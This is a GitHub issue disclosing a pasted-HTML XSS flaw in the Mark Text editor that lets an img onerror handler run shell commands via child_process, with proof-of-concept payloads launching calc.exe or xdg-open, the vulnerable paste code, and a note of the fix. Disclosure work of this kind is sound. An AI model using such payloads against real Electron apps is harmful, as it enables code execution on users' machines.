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# Security issue: DOM based XSS & RCE - from pasting vulnerable HTML #2990

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luiseok opened this issue on Feb 7 · 0 comments · Fixed by #3002

luiseok commented on Feb 7 • edited

## Description

An attacker can induce Mark Text users to copy the HTML code below to execute a Remote Code Execution attack via XSS.

```
<!-- for windows -->
<table><tr><img src onerror="require('child_process').exec('calc.exe')"></tr></table>
<!-- for linux (tested with kali) -->
<table><tr><img src onerror="require('child_process').exec('xdg-open .')"></tr></table>
```

The above code is inserted into the Mark Text as a DOM through the source code below, and the remote code execution is performed by calling child\_process through the inline script.

[marktext/src/muya/lib/contentState/pasteCtrl.js](#)

Lines 44 to 65 in b029938

```
44   ContentState.prototype.checkCopyType = function (html, text) {
45     let type = 'normal'
46     if (!html && text) {
47       type = 'copyAsMarkdown'
48       const match = /^<([a-zA-Z\d-]+)(?=\s|>).*?>[\s\S]+?<\/([a-zA-Z\d-]+)>$/ .exec(text)
49       if (match && match[1]) {
50         const tag = match[1]
51         if (tag === 'table' && match.length === 3 && match[2] === 'table') {
52           // Try to import a single table
53           const tmp = document.createElement('table')
```

☒ Can you reproduce the issue?

## Steps to reproduce

1. Copy the vulnerable HTML code

- `<table><tr><img src onerror="require('child_process').exec('calc.exe')"></tr></table>`

2. Paste it into Mark Text app

### Expected behavior:

HTML should be sanitized before pasted into DOM.


### Actual behavior:

No HTML sanitize procedure. Only checks if it's wrapped with `<table>` or not.

### Link to an example: [optional]

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## Versions

- MarkText version: v0.16.3
- Operating system:  
Windows 11 Version 21H2 - OS Build 22000.469  
Kali Linux Kali GNU/Linux Rolling 2021.4



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fxha mentioned this issue on Feb 9

**Fix XSS in HTML table paste content #3002**

Merged



**Jocs** closed this as completed in [#3002](#) on Feb 18

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#### Assignees

No one assigned

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#### Labels

None yet

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#### Projects

None yet

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#### Milestone

No milestone

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#### Development

Successfully merging a pull request may close this issue.



**Fix XSS in HTML table paste content**

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#### 1 participant

